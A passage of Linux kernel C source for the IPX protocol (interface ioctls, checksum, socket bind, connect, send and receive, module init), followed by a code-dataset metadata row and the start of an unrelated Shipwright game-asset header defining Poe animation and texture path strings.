datalink, 0, dev->hard_header_len +
datalink->header_length);
rc = -EAGAIN;
if (!intrfc)
goto out_dev;
/* Setup primary if necessary */
if (idef->ipx_special == IPX_PRIMARY)
ipx_primary_net = intrfc;
if (!memcmp(idef->ipx_node, "\000\000\000\000\000\000",
IPX_NODE_LEN)) {
memset(intrfc->if_node, 0, IPX_NODE_LEN);
memcpy(intrfc->if_node + IPX_NODE_LEN - dev->addr_len,
dev->dev_addr, dev->addr_len);
} else
memcpy(intrfc->if_node, idef->ipx_node, IPX_NODE_LEN);
ipxitf_hold(intrfc);
ipxitf_insert(intrfc);
}
/* If the network number is known, add a route */
rc = 0;
if (!intrfc->if_netnum)
goto out_intrfc;
rc = ipxitf_add_local_route(intrfc);
out_intrfc:
ipxitf_put(intrfc);
goto out;
out_dev:
dev_put(dev);
out:
return rc;
}
static int ipxitf_delete(struct ipx_interface_definition *idef)
{
struct net_device *dev = NULL;
__be16 dlink_type = 0;
struct ipx_interface *intrfc;
int rc = 0;
spin_lock_bh(&ipx_interfaces_lock);
if (idef->ipx_special == IPX_INTERNAL) {
if (ipx_internal_net) {
__ipxitf_put(ipx_internal_net);
goto out;
}
rc = -ENOENT;
goto out;
}
dlink_type = ipx_map_frame_type(idef->ipx_dlink_type);
rc = -EPROTONOSUPPORT;
if (!dlink_type)
goto out;
dev = __dev_get_by_name(&init_net, idef->ipx_device);
rc = -ENODEV;
if (!dev)
goto out;
intrfc = __ipxitf_find_using_phys(dev, dlink_type);
rc = -EINVAL;
if (!intrfc)
goto out;
__ipxitf_put(intrfc);
rc = 0;
out:
spin_unlock_bh(&ipx_interfaces_lock);
return rc;
}
static struct ipx_interface *ipxitf_auto_create(struct net_device *dev,
__be16 dlink_type)
{
struct ipx_interface *intrfc = NULL;
struct datalink_proto *datalink;
if (!dev)
goto out;
/* Check addresses are suitable */
if (dev->addr_len > IPX_NODE_LEN)
goto out;
switch (ntohs(dlink_type)) {
case ETH_P_IPX: datalink = pEII_datalink; break;
case ETH_P_802_2: datalink = p8022_datalink; break;
case ETH_P_SNAP: datalink = pSNAP_datalink; break;
case ETH_P_802_3: datalink = p8023_datalink; break;
default: goto out;
}
intrfc = ipxitf_alloc(dev, 0, dlink_type, datalink, 0,
dev->hard_header_len + datalink->header_length);
if (intrfc) {
memset(intrfc->if_node, 0, IPX_NODE_LEN);
memcpy((char *)&(intrfc->if_node[IPX_NODE_LEN-dev->addr_len]),
dev->dev_addr, dev->addr_len);
spin_lock_init(&intrfc->if_sklist_lock);
atomic_set(&intrfc->refcnt, 1);
ipxitf_insert(intrfc);
dev_hold(dev);
}
out:
return intrfc;
}
static int ipxitf_ioctl(unsigned int cmd, void __user *arg)
{
int rc = -EINVAL;
struct ifreq ifr;
int val;
switch (cmd) {
case SIOCSIFADDR: {
struct sockaddr_ipx *sipx;
struct ipx_interface_definition f;
rc = -EFAULT;
if (copy_from_user(&ifr, arg, sizeof(ifr)))
break;
sipx = (struct sockaddr_ipx *)&ifr.ifr_addr;
rc = -EINVAL;
if (sipx->sipx_family != AF_IPX)
break;
f.ipx_network = sipx->sipx_network;
memcpy(f.ipx_device, ifr.ifr_name,
sizeof(f.ipx_device));
memcpy(f.ipx_node, sipx->sipx_node, IPX_NODE_LEN);
f.ipx_dlink_type = sipx->sipx_type;
f.ipx_special = sipx->sipx_special;
if (sipx->sipx_action == IPX_DLTITF)
rc = ipxitf_delete(&f);
else
rc = ipxitf_create(&f);
break;
}
case SIOCGIFADDR: {
struct sockaddr_ipx *sipx;
struct ipx_interface *ipxif;
struct net_device *dev;
rc = -EFAULT;
if (copy_from_user(&ifr, arg, sizeof(ifr)))
break;
sipx = (struct sockaddr_ipx *)&ifr.ifr_addr;
dev = __dev_get_by_name(&init_net, ifr.ifr_name);
rc = -ENODEV;
if (!dev)
break;
ipxif = ipxitf_find_using_phys(dev,
ipx_map_frame_type(sipx->sipx_type));
rc = -EADDRNOTAVAIL;
if (!ipxif)
break;
sipx->sipx_family = AF_IPX;
sipx->sipx_network = ipxif->if_netnum;
memcpy(sipx->sipx_node, ipxif->if_node,
sizeof(sipx->sipx_node));
rc = -EFAULT;
if (copy_to_user(arg, &ifr, sizeof(ifr)))
break;
ipxitf_put(ipxif);
rc = 0;
break;
}
case SIOCAIPXITFCRT:
rc = -EFAULT;
if (get_user(val, (unsigned char __user *) arg))
break;
rc = 0;
ipxcfg_auto_create_interfaces = val;
break;
case SIOCAIPXPRISLT:
rc = -EFAULT;
if (get_user(val, (unsigned char __user *) arg))
break;
rc = 0;
ipxcfg_set_auto_select(val);
break;
}
return rc;
}
/*
* Checksum routine for IPX
*/
/* Note: We assume ipx_tctrl==0 and htons(length)==ipx_pktsize */
/* This functions should *not* mess with packet contents */
__be16 ipx_cksum(struct ipxhdr *packet, int length)
{
/*
* NOTE: sum is a net byte order quantity, which optimizes the
* loop. This only works on big and little endian machines. (I
* don't know of a machine that isn't.)
*/
/* handle the first 3 words separately; checksum should be skipped
* and ipx_tctrl masked out */
__u16 *p = (__u16 *)packet;
__u32 sum = p[1] + (p[2] & (__force u16)htons(0x00ff));
__u32 i = (length >> 1) - 3; /* Number of remaining complete words */
/* Loop through them */
p += 3;
while (i--)
sum += *p++;
/* Add on the last part word if it exists */
if (packet->ipx_pktsize & htons(1))
sum += (__force u16)htons(0xff00) & *p;
/* Do final fixup */
sum = (sum & 0xffff) + (sum >> 16);
/* It's a pity there's no concept of carry in C */
if (sum >= 0x10000)
sum++;
/*
* Leave 0 alone; we don't want 0xffff here. Note that we can't get
* here with 0x10000, so this check is the same as ((__u16)sum)
*/
if (sum)
sum = ~sum;
return (__force __be16)sum;
}
const char *ipx_frame_name(__be16 frame)
{
char* rc = "None";
switch (ntohs(frame)) {
case ETH_P_IPX: rc = "EtherII"; break;
case ETH_P_802_2: rc = "802.2"; break;
case ETH_P_SNAP: rc = "SNAP"; break;
case ETH_P_802_3: rc = "802.3"; break;
}
return rc;
}
const char *ipx_device_name(struct ipx_interface *intrfc)
{
return intrfc->if_internal ? "Internal" :
intrfc->if_dev ? intrfc->if_dev->name : "Unknown";
}
/* Handling for system calls applied via the various interfaces to an IPX
* socket object. */
static int ipx_setsockopt(struct socket *sock, int level, int optname,
char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
int opt;
int rc = -EINVAL;
lock_sock(sk);
if (optlen != sizeof(int))
goto out;
rc = -EFAULT;
if (get_user(opt, (unsigned int __user *)optval))
goto out;
rc = -ENOPROTOOPT;
if (!(level == SOL_IPX && optname == IPX_TYPE))
goto out;
ipx_sk(sk)->type = opt;
rc = 0;
out:
release_sock(sk);
return rc;
}
static int ipx_getsockopt(struct socket *sock, int level, int optname,
char __user *optval, int __user *optlen)
{
struct sock *sk = sock->sk;
int val = 0;
int len;
int rc = -ENOPROTOOPT;
lock_sock(sk);
if (!(level == SOL_IPX && optname == IPX_TYPE))
goto out;
val = ipx_sk(sk)->type;
rc = -EFAULT;
if (get_user(len, optlen))
goto out;
len = min_t(unsigned int, len, sizeof(int));
rc = -EINVAL;
if(len < 0)
goto out;
rc = -EFAULT;
if (put_user(len, optlen) || copy_to_user(optval, &val, len))
goto out;
rc = 0;
out:
release_sock(sk);
return rc;
}
static struct proto ipx_proto = {
.name = "IPX",
.owner = THIS_MODULE,
.obj_size = sizeof(struct ipx_sock),
};
static int ipx_create(struct net *net, struct socket *sock, int protocol,
int kern)
{
int rc = -ESOCKTNOSUPPORT;
struct sock *sk;
if (!net_eq(net, &init_net))
return -EAFNOSUPPORT;
/*
* SPX support is not anymore in the kernel sources. If you want to
* ressurrect it, completing it and making it understand shared skbs,
* be fully multithreaded, etc, grab the sources in an early 2.5 kernel
* tree.
*/
if (sock->type != SOCK_DGRAM)
goto out;
rc = -ENOMEM;
sk = sk_alloc(net, PF_IPX, GFP_KERNEL, &ipx_proto);
if (!sk)
goto out;
sk_refcnt_debug_inc(sk);
sock_init_data(sock, sk);
sk->sk_no_check = 1; /* Checksum off by default */
sock->ops = &ipx_dgram_ops;
rc = 0;
out:
return rc;
}
static int ipx_release(struct socket *sock)
{
struct sock *sk = sock->sk;
if (!sk)
goto out;
lock_sock(sk);
if (!sock_flag(sk, SOCK_DEAD))
sk->sk_state_change(sk);
sock_set_flag(sk, SOCK_DEAD);
sock->sk = NULL;
sk_refcnt_debug_release(sk);
ipx_destroy_socket(sk);
release_sock(sk);
sock_put(sk);
out:
return 0;
}
/* caller must hold a reference to intrfc */
static __be16 ipx_first_free_socketnum(struct ipx_interface *intrfc)
{
unsigned short socketNum = intrfc->if_sknum;
spin_lock_bh(&intrfc->if_sklist_lock);
if (socketNum < IPX_MIN_EPHEMERAL_SOCKET)
socketNum = IPX_MIN_EPHEMERAL_SOCKET;
while (__ipxitf_find_socket(intrfc, htons(socketNum)))
if (socketNum > IPX_MAX_EPHEMERAL_SOCKET)
socketNum = IPX_MIN_EPHEMERAL_SOCKET;
else
socketNum++;
spin_unlock_bh(&intrfc->if_sklist_lock);
intrfc->if_sknum = socketNum;
return htons(socketNum);
}
static int __ipx_bind(struct socket *sock,
struct sockaddr *uaddr, int addr_len)
{
struct sock *sk = sock->sk;
struct ipx_sock *ipxs = ipx_sk(sk);
struct ipx_interface *intrfc;
struct sockaddr_ipx *addr = (struct sockaddr_ipx *)uaddr;
int rc = -EINVAL;
if (!sock_flag(sk, SOCK_ZAPPED) || addr_len != sizeof(struct sockaddr_ipx))
goto out;
intrfc = ipxitf_find_using_net(addr->sipx_network);
rc = -EADDRNOTAVAIL;
if (!intrfc)
goto out;
if (!addr->sipx_port) {
addr->sipx_port = ipx_first_free_socketnum(intrfc);
rc = -EINVAL;
if (!addr->sipx_port)
goto out_put;
}
/* protect IPX system stuff like routing/sap */
rc = -EACCES;
if (ntohs(addr->sipx_port) < IPX_MIN_EPHEMERAL_SOCKET &&
!capable(CAP_NET_ADMIN))
goto out_put;
ipxs->port = addr->sipx_port;
#ifdef CONFIG_IPX_INTERN
if (intrfc == ipx_internal_net) {
/* The source address is to be set explicitly if the
* socket is to be bound on the internal network. If a
* node number 0 was specified, the default is used.
*/
rc = -EINVAL;
if (!memcmp(addr->sipx_node, ipx_broadcast_node, IPX_NODE_LEN))
goto out_put;
if (!memcmp(addr->sipx_node, ipx_this_node, IPX_NODE_LEN))
memcpy(ipxs->node, intrfc->if_node, IPX_NODE_LEN);
else
memcpy(ipxs->node, addr->sipx_node, IPX_NODE_LEN);
rc = -EADDRINUSE;
if (ipxitf_find_internal_socket(intrfc, ipxs->node,
ipxs->port)) {
SOCK_DEBUG(sk,
"IPX: bind failed because port %X in use.\n",
ntohs(addr->sipx_port));
goto out_put;
}
} else {
/* Source addresses are easy. It must be our
* network:node pair for an interface routed to IPX
* with the ipx routing ioctl()
*/
memcpy(ipxs->node, intrfc->if_node, IPX_NODE_LEN);
rc = -EADDRINUSE;
if (ipxitf_find_socket(intrfc, addr->sipx_port)) {
SOCK_DEBUG(sk,
"IPX: bind failed because port %X in use.\n",
ntohs(addr->sipx_port));
goto out_put;
}
}
#else /* !def CONFIG_IPX_INTERN */
/* Source addresses are easy. It must be our network:node pair for
an interface routed to IPX with the ipx routing ioctl() */
rc = -EADDRINUSE;
if (ipxitf_find_socket(intrfc, addr->sipx_port)) {
SOCK_DEBUG(sk, "IPX: bind failed because port %X in use.\n",
ntohs((int)addr->sipx_port));
goto out_put;
}
#endif /* CONFIG_IPX_INTERN */
ipxitf_insert_socket(intrfc, sk);
sock_reset_flag(sk, SOCK_ZAPPED);
rc = 0;
out_put:
ipxitf_put(intrfc);
out:
return rc;
}
static int ipx_bind(struct socket *sock, struct sockaddr *uaddr, int addr_len)
{
struct sock *sk = sock->sk;
int rc;
lock_sock(sk);
rc = __ipx_bind(sock, uaddr, addr_len);
release_sock(sk);
return rc;
}
static int ipx_connect(struct socket *sock, struct sockaddr *uaddr,
int addr_len, int flags)
{
struct sock *sk = sock->sk;
struct ipx_sock *ipxs = ipx_sk(sk);
struct sockaddr_ipx *addr;
int rc = -EINVAL;
struct ipx_route *rt;
sk->sk_state = TCP_CLOSE;
sock->state = SS_UNCONNECTED;
lock_sock(sk);
if (addr_len != sizeof(*addr))
goto out;
addr = (struct sockaddr_ipx *)uaddr;
/* put the autobinding in */
if (!ipxs->port) {
struct sockaddr_ipx uaddr;
uaddr.sipx_port = 0;
uaddr.sipx_network = 0;
#ifdef CONFIG_IPX_INTERN
rc = -ENETDOWN;
if (!ipxs->intrfc)
goto out; /* Someone zonked the iface */
memcpy(uaddr.sipx_node, ipxs->intrfc->if_node,
IPX_NODE_LEN);
#endif /* CONFIG_IPX_INTERN */
rc = __ipx_bind(sock, (struct sockaddr *)&uaddr,
sizeof(struct sockaddr_ipx));
if (rc)
goto out;
}
/* We can either connect to primary network or somewhere
* we can route to */
rt = ipxrtr_lookup(addr->sipx_network);
rc = -ENETUNREACH;
if (!rt && !(!addr->sipx_network && ipx_primary_net))
goto out;
ipxs->dest_addr.net = addr->sipx_network;
ipxs->dest_addr.sock = addr->sipx_port;
memcpy(ipxs->dest_addr.node, addr->sipx_node, IPX_NODE_LEN);
ipxs->type = addr->sipx_type;
if (sock->type == SOCK_DGRAM) {
sock->state = SS_CONNECTED;
sk->sk_state = TCP_ESTABLISHED;
}
if (rt)
ipxrtr_put(rt);
rc = 0;
out:
release_sock(sk);
return rc;
}
static int ipx_getname(struct socket *sock, struct sockaddr *uaddr,
int *uaddr_len, int peer)
{
struct ipx_address *addr;
struct sockaddr_ipx sipx;
struct sock *sk = sock->sk;
struct ipx_sock *ipxs = ipx_sk(sk);
int rc;
*uaddr_len = sizeof(struct sockaddr_ipx);
lock_sock(sk);
if (peer) {
rc = -ENOTCONN;
if (sk->sk_state != TCP_ESTABLISHED)
goto out;
addr = &ipxs->dest_addr;
sipx.sipx_network = addr->net;
sipx.sipx_port = addr->sock;
memcpy(sipx.sipx_node, addr->node, IPX_NODE_LEN);
} else {
if (ipxs->intrfc) {
sipx.sipx_network = ipxs->intrfc->if_netnum;
#ifdef CONFIG_IPX_INTERN
memcpy(sipx.sipx_node, ipxs->node, IPX_NODE_LEN);
#else
memcpy(sipx.sipx_node, ipxs->intrfc->if_node,
IPX_NODE_LEN);
#endif /* CONFIG_IPX_INTERN */
} else {
sipx.sipx_network = 0;
memset(sipx.sipx_node, '\0', IPX_NODE_LEN);
}
sipx.sipx_port = ipxs->port;
}
sipx.sipx_family = AF_IPX;
sipx.sipx_type = ipxs->type;
sipx.sipx_zero = 0;
memcpy(uaddr, &sipx, sizeof(sipx));
rc = 0;
out:
release_sock(sk);
return rc;
}
static int ipx_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt, struct net_device *orig_dev)
{
/* NULL here for pt means the packet was looped back */
struct ipx_interface *intrfc;
struct ipxhdr *ipx;
u16 ipx_pktsize;
int rc = 0;
if (!net_eq(dev_net(dev), &init_net))
goto drop;
/* Not ours */
if (skb->pkt_type == PACKET_OTHERHOST)
goto drop;
if ((skb = skb_share_check(skb, GFP_ATOMIC)) == NULL)
goto out;
if (!pskb_may_pull(skb, sizeof(struct ipxhdr)))
goto drop;
ipx_pktsize = ntohs(ipx_hdr(skb)->ipx_pktsize);
/* Too small or invalid header? */
if (ipx_pktsize < sizeof(struct ipxhdr) ||
!pskb_may_pull(skb, ipx_pktsize))
goto drop;
ipx = ipx_hdr(skb);
if (ipx->ipx_checksum != IPX_NO_CHECKSUM &&
ipx->ipx_checksum != ipx_cksum(ipx, ipx_pktsize))
goto drop;
IPX_SKB_CB(skb)->ipx_tctrl = ipx->ipx_tctrl;
IPX_SKB_CB(skb)->ipx_dest_net = ipx->ipx_dest.net;
IPX_SKB_CB(skb)->ipx_source_net = ipx->ipx_source.net;
/* Determine what local ipx endpoint this is */
intrfc = ipxitf_find_using_phys(dev, pt->type);
if (!intrfc) {
if (ipxcfg_auto_create_interfaces &&
IPX_SKB_CB(skb)->ipx_dest_net) {
intrfc = ipxitf_auto_create(dev, pt->type);
if (intrfc)
ipxitf_hold(intrfc);
}
if (!intrfc) /* Not one of ours */
/* or invalid packet for auto creation */
goto drop;
}
rc = ipxitf_rcv(intrfc, skb);
ipxitf_put(intrfc);
goto out;
drop:
kfree_skb(skb);
out:
return rc;
}
static int ipx_sendmsg(struct kiocb *iocb, struct socket *sock,
struct msghdr *msg, size_t len)
{
struct sock *sk = sock->sk;
struct ipx_sock *ipxs = ipx_sk(sk);
struct sockaddr_ipx *usipx = (struct sockaddr_ipx *)msg->msg_name;
struct sockaddr_ipx local_sipx;
int rc = -EINVAL;
int flags = msg->msg_flags;
lock_sock(sk);
/* Socket gets bound below anyway */
/* if (sk->sk_zapped)
return -EIO; */ /* Socket not bound */
if (flags & ~(MSG_DONTWAIT|MSG_CMSG_COMPAT))
goto out;
/* Max possible packet size limited by 16 bit pktsize in header */
if (len >= 65535 - sizeof(struct ipxhdr))
goto out;
if (usipx) {
if (!ipxs->port) {
struct sockaddr_ipx uaddr;
uaddr.sipx_port = 0;
uaddr.sipx_network = 0;
#ifdef CONFIG_IPX_INTERN
rc = -ENETDOWN;
if (!ipxs->intrfc)
goto out; /* Someone zonked the iface */
memcpy(uaddr.sipx_node, ipxs->intrfc->if_node,
IPX_NODE_LEN);
#endif
rc = __ipx_bind(sock, (struct sockaddr *)&uaddr,
sizeof(struct sockaddr_ipx));
if (rc)
goto out;
}
rc = -EINVAL;
if (msg->msg_namelen < sizeof(*usipx) ||
usipx->sipx_family != AF_IPX)
goto out;
} else {
rc = -ENOTCONN;
if (sk->sk_state != TCP_ESTABLISHED)
goto out;
usipx = &local_sipx;
usipx->sipx_family = AF_IPX;
usipx->sipx_type = ipxs->type;
usipx->sipx_port = ipxs->dest_addr.sock;
usipx->sipx_network = ipxs->dest_addr.net;
memcpy(usipx->sipx_node, ipxs->dest_addr.node, IPX_NODE_LEN);
}
rc = ipxrtr_route_packet(sk, usipx, msg->msg_iov, len,
flags & MSG_DONTWAIT);
if (rc >= 0)
rc = len;
out:
release_sock(sk);
return rc;
}
static int ipx_recvmsg(struct kiocb *iocb, struct socket *sock,
struct msghdr *msg, size_t size, int flags)
{
struct sock *sk = sock->sk;
struct ipx_sock *ipxs = ipx_sk(sk);
struct sockaddr_ipx *sipx = (struct sockaddr_ipx *)msg->msg_name;
struct ipxhdr *ipx = NULL;
struct sk_buff *skb;
int copied, rc;
bool locked = true;
lock_sock(sk);
/* put the autobinding in */
if (!ipxs->port) {
struct sockaddr_ipx uaddr;
uaddr.sipx_port = 0;
uaddr.sipx_network = 0;
#ifdef CONFIG_IPX_INTERN
rc = -ENETDOWN;
if (!ipxs->intrfc)
goto out; /* Someone zonked the iface */
memcpy(uaddr.sipx_node, ipxs->intrfc->if_node, IPX_NODE_LEN);
#endif /* CONFIG_IPX_INTERN */
rc = __ipx_bind(sock, (struct sockaddr *)&uaddr,
sizeof(struct sockaddr_ipx));
if (rc)
goto out;
}
rc = -ENOTCONN;
if (sock_flag(sk, SOCK_ZAPPED))
goto out;
release_sock(sk);
locked = false;
skb = skb_recv_datagram(sk, flags & ~MSG_DONTWAIT,
flags & MSG_DONTWAIT, &rc);
if (!skb)
goto out;
ipx = ipx_hdr(skb);
copied = ntohs(ipx->ipx_pktsize) - sizeof(struct ipxhdr);
if (copied > size) {
copied = size;
msg->msg_flags |= MSG_TRUNC;
}
rc = skb_copy_datagram_iovec(skb, sizeof(struct ipxhdr), msg->msg_iov,
copied);
if (rc)
goto out_free;
if (skb->tstamp.tv64)
sk->sk_stamp = skb->tstamp;
if (sipx) {
sipx->sipx_family = AF_IPX;
sipx->sipx_port = ipx->ipx_source.sock;
memcpy(sipx->sipx_node, ipx->ipx_source.node, IPX_NODE_LEN);
sipx->sipx_network = IPX_SKB_CB(skb)->ipx_source_net;
sipx->sipx_type = ipx->ipx_type;
sipx->sipx_zero = 0;
msg->msg_namelen = sizeof(*sipx);
}
rc = copied;
out_free:
skb_free_datagram(sk, skb);
out:
if (locked)
release_sock(sk);
return rc;
}
static int ipx_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
{
int rc = 0;
long amount = 0;
struct sock *sk = sock->sk;
void __user *argp = (void __user *)arg;
lock_sock(sk);
switch (cmd) {
case TIOCOUTQ:
amount = sk->sk_sndbuf - sk_wmem_alloc_get(sk);
if (amount < 0)
amount = 0;
rc = put_user(amount, (int __user *)argp);
break;
case TIOCINQ: {
struct sk_buff *skb = skb_peek(&sk->sk_receive_queue);
/* These two are safe on a single CPU system as only
* user tasks fiddle here */
if (skb)
amount = skb->len - sizeof(struct ipxhdr);
rc = put_user(amount, (int __user *)argp);
break;
}
case SIOCADDRT:
case SIOCDELRT:
rc = -EPERM;
if (capable(CAP_NET_ADMIN))
rc = ipxrtr_ioctl(cmd, argp);
break;
case SIOCSIFADDR:
case SIOCAIPXITFCRT:
case SIOCAIPXPRISLT:
rc = -EPERM;
if (!capable(CAP_NET_ADMIN))
break;
case SIOCGIFADDR:
rc = ipxitf_ioctl(cmd, argp);
break;
case SIOCIPXCFGDATA:
rc = ipxcfg_get_config_data(argp);
break;
case SIOCIPXNCPCONN:
/*
* This socket wants to take care of the NCP connection
* handed to us in arg.
*/
rc = -EPERM;
if (!capable(CAP_NET_ADMIN))
break;
rc = get_user(ipx_sk(sk)->ipx_ncp_conn,
(const unsigned short __user *)argp);
break;
case SIOCGSTAMP:
rc = sock_get_timestamp(sk, argp);
break;
case SIOCGIFDSTADDR:
case SIOCSIFDSTADDR:
case SIOCGIFBRDADDR:
case SIOCSIFBRDADDR:
case SIOCGIFNETMASK:
case SIOCSIFNETMASK:
rc = -EINVAL;
break;
default:
rc = -ENOIOCTLCMD;
break;
}
release_sock(sk);
return rc;
}
#ifdef CONFIG_COMPAT
static int ipx_compat_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
{
/*
* These 4 commands use same structure on 32bit and 64bit. Rest of IPX
* commands is handled by generic ioctl code. As these commands are
* SIOCPROTOPRIVATE..SIOCPROTOPRIVATE+3, they cannot be handled by generic
* code.
*/
switch (cmd) {
case SIOCAIPXITFCRT:
case SIOCAIPXPRISLT:
case SIOCIPXCFGDATA:
case SIOCIPXNCPCONN:
return ipx_ioctl(sock, cmd, arg);
default:
return -ENOIOCTLCMD;
}
}
#endif
/*
* Socket family declarations
*/
static const struct net_proto_family ipx_family_ops = {
.family = PF_IPX,
.create = ipx_create,
.owner = THIS_MODULE,
};
static const struct proto_ops ipx_dgram_ops = {
.family = PF_IPX,
.owner = THIS_MODULE,
.release = ipx_release,
.bind = ipx_bind,
.connect = ipx_connect,
.socketpair = sock_no_socketpair,
.accept = sock_no_accept,
.getname = ipx_getname,
.poll = datagram_poll,
.ioctl = ipx_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl = ipx_compat_ioctl,
#endif
.listen = sock_no_listen,
.shutdown = sock_no_shutdown, /* FIXME: support shutdown */
.setsockopt = ipx_setsockopt,
.getsockopt = ipx_getsockopt,
.sendmsg = ipx_sendmsg,
.recvmsg = ipx_recvmsg,
.mmap = sock_no_mmap,
.sendpage = sock_no_sendpage,
};
static struct packet_type ipx_8023_packet_type __read_mostly = {
.type = cpu_to_be16(ETH_P_802_3),
.func = ipx_rcv,
};
static struct packet_type ipx_dix_packet_type __read_mostly = {
.type = cpu_to_be16(ETH_P_IPX),
.func = ipx_rcv,
};
static struct notifier_block ipx_dev_notifier = {
.notifier_call = ipxitf_device_event,
};
extern struct datalink_proto *make_EII_client(void);
extern void destroy_EII_client(struct datalink_proto *);
static const unsigned char ipx_8022_type = 0xE0;
static const unsigned char ipx_snap_id[5] = { 0x0, 0x0, 0x0, 0x81, 0x37 };
static const char ipx_EII_err_msg[] __initconst =
KERN_CRIT "IPX: Unable to register with Ethernet II\n";
static const char ipx_8023_err_msg[] __initconst =
KERN_CRIT "IPX: Unable to register with 802.3\n";
static const char ipx_llc_err_msg[] __initconst =
KERN_CRIT "IPX: Unable to register with 802.2\n";
static const char ipx_snap_err_msg[] __initconst =
KERN_CRIT "IPX: Unable to register with SNAP\n";
static int __init ipx_init(void)
{
int rc = proto_register(&ipx_proto, 1);
if (rc != 0)
goto out;
sock_register(&ipx_family_ops);
pEII_datalink = make_EII_client();
if (pEII_datalink)
dev_add_pack(&ipx_dix_packet_type);
else
printk(ipx_EII_err_msg);
p8023_datalink = make_8023_client();
if (p8023_datalink)
dev_add_pack(&ipx_8023_packet_type);
else
printk(ipx_8023_err_msg);
p8022_datalink = register_8022_client(ipx_8022_type, ipx_rcv);
if (!p8022_datalink)
printk(ipx_llc_err_msg);
pSNAP_datalink = register_snap_client(ipx_snap_id, ipx_rcv);
if (!pSNAP_datalink)
printk(ipx_snap_err_msg);
register_netdevice_notifier(&ipx_dev_notifier);
ipx_register_sysctl();
ipx_proc_init();
out:
return rc;
}
static void __exit ipx_proto_finito(void)
{
ipx_proc_exit();
ipx_unregister_sysctl();
unregister_netdevice_notifier(&ipx_dev_notifier);
ipxitf_cleanup();
if (pSNAP_datalink) {
unregister_snap_client(pSNAP_datalink);
pSNAP_datalink = NULL;
}
if (p8022_datalink) {
unregister_8022_client(p8022_datalink);
p8022_datalink = NULL;
}
dev_remove_pack(&ipx_8023_packet_type);
if (p8023_datalink) {
destroy_8023_client(p8023_datalink);
p8023_datalink = NULL;
}
dev_remove_pack(&ipx_dix_packet_type);
if (pEII_datalink) {
destroy_EII_client(pEII_datalink);
pEII_datalink = NULL;
}
proto_unregister(&ipx_proto);
sock_unregister(ipx_family_ops.family);
}
module_init(ipx_init);
module_exit(ipx_proto_finito);
MODULE_LICENSE("GPL");
MODULE_ALIAS_NETPROTO(PF_IPX);
|
197c2cb48bfa044c9b173419a15aa61d9ab3cf9f
|
7744859512f027ef0da8b1bde0f8518e631b98eb
|
/soh/assets/objects/object_po_field/object_po_field.h
|
018dc311e28d78b182e5dceb7437efbf48b21336
|
[] |
no_license
|
HarbourMasters/Shipwright
|
7f70b9470e4f9a117f3fe2d6e4deb776b8742182
|
0e7c6585239c0d7ea2c039b8b8cb7eaedf8928a9
|
refs/heads/develop
| 2023-08-31T20:50:56.253521
| 2023-08-30T17:34:06
| 2023-08-30T17:34:06
| 472,575,717
| 2,104
| 459
| null | 2023-09-14T20:29:01
| 2022-03-22T01:42:52
|
C
|
UTF-8
|
C
| false
| false
| 6,438
|
h
|
object_po_field.h
|
#pragma once
#include "align_asset_macro.h"
#define dgPoeFieldAttackAnim "__OTR__objects/object_po_field/gPoeFieldAttackAnim"
static const ALIGN_ASSET(2) char gPoeFieldAttackAnim[] = dgPoeFieldAttackAnim;
#define dgPoeFieldDamagedAnim "__OTR__objects/object_po_field/gPoeFieldDamagedAnim"
static const ALIGN_ASSET(2) char gPoeFieldDamagedAnim[] = dgPoeFieldDamagedAnim;
#define dgPoeFieldFleeAnim "__OTR__objects/object_po_field/gPoeFieldFleeAnim"
static const ALIGN_ASSET(2) char gPoeFieldFleeAnim[] = dgPoeFieldFleeAnim;
#define dgPoeFieldFloatAnim "__OTR__objects/object_po_field/gPoeFieldFloatAnim"
static const ALIGN_ASSET(2) char gPoeFieldFloatAnim[] = dgPoeFieldFloatAnim;
#define dgPoeFieldAppearAnim "__OTR__objects/object_po_field/gPoeFieldAppearAnim"
static const ALIGN_ASSET(2) char gPoeFieldAppearAnim[] = dgPoeFieldAppearAnim;
#define dgPoeFieldDisappearAnim "__OTR__objects/object_po_field/gPoeFieldDisappearAnim"
static const ALIGN_ASSET(2) char gPoeFieldDisappearAnim[] = dgPoeFieldDisappearAnim;
#define dgBigPoeSoulTex "__OTR__objects/object_po_field/gBigPoeSoulTex"
static const ALIGN_ASSET(2) char gBigPoeSoulTex[] = dgBigPoeSoulTex;
#define dgPoeFieldSoulTex "__OTR__objects/object_po_field/gPoeFieldSoulTex"
static const ALIGN_ASSET(2) char gPoeFieldSoulTex[] = dgPoeFieldSoulTex;
#define dgPoeFieldSoulDL "__OTR__objects/object_po_field/gPoeFieldSoulDL"
static const ALIGN_ASSET(2) char gPoeFieldSoulDL[] = dgPoeFieldSoulDL;
#define dgPoeFieldLanternDL "__OTR__objects/object_po_field/gPoeFieldLanternDL"
static const ALIGN_ASSET(2) char gPoeFieldLanternDL[] = dgPoeFieldLanternDL;
#define dgPoeFieldLanternTopDL "__OTR__objects/object_po_field/gPoeFieldLanternTopDL"
static const ALIGN_ASSET(2) char gPoeFieldLanternTopDL[] = dgPoeFieldLanternTopDL;
#define dgBigPoeCloakDL "__OTR__objects/object_po_field/gBigPoeCloakDL"
static const ALIGN_ASSET(2) char gBigPoeCloakDL[] = dgBigPoeCloakDL;
#define dgBigPoeFaceDL "__OTR__objects/object_po_field/gBigPoeFaceDL"
static const ALIGN_ASSET(2) char gBigPoeFaceDL[] = dgBigPoeFaceDL;
#define dgBigPoeBodyDL "__OTR__objects/object_po_field/gBigPoeBodyDL"
static const ALIGN_ASSET(2) char gBigPoeBodyDL[] = dgBigPoeBodyDL;
#define dgPoeFieldBurnDL "__OTR__objects/object_po_field/gPoeFieldBurnDL"
static const ALIGN_ASSET(2) char gPoeFieldBurnDL[] = dgPoeFieldBurnDL;
#define dgPoeFieldSkel "__OTR__objects/object_po_field/gPoeFieldSkel"
static const ALIGN_ASSET(2) char gPoeFieldSkel[] = dgPoeFieldSkel;
#define dobject_po_fieldTex_002670 "__OTR__objects/object_po_field/object_po_fieldTex_002670"
static const ALIGN_ASSET(2) char object_po_fieldTex_002670[] = dobject_po_fieldTex_002670;
#define dobject_po_fieldTex_002470 "__OTR__objects/object_po_field/object_po_fieldTex_002470"
static const ALIGN_ASSET(2) char object_po_fieldTex_002470[] = dobject_po_fieldTex_002470;
#define dobject_po_fieldTex_0033F0 "__OTR__objects/object_po_field/object_po_fieldTex_0033F0"
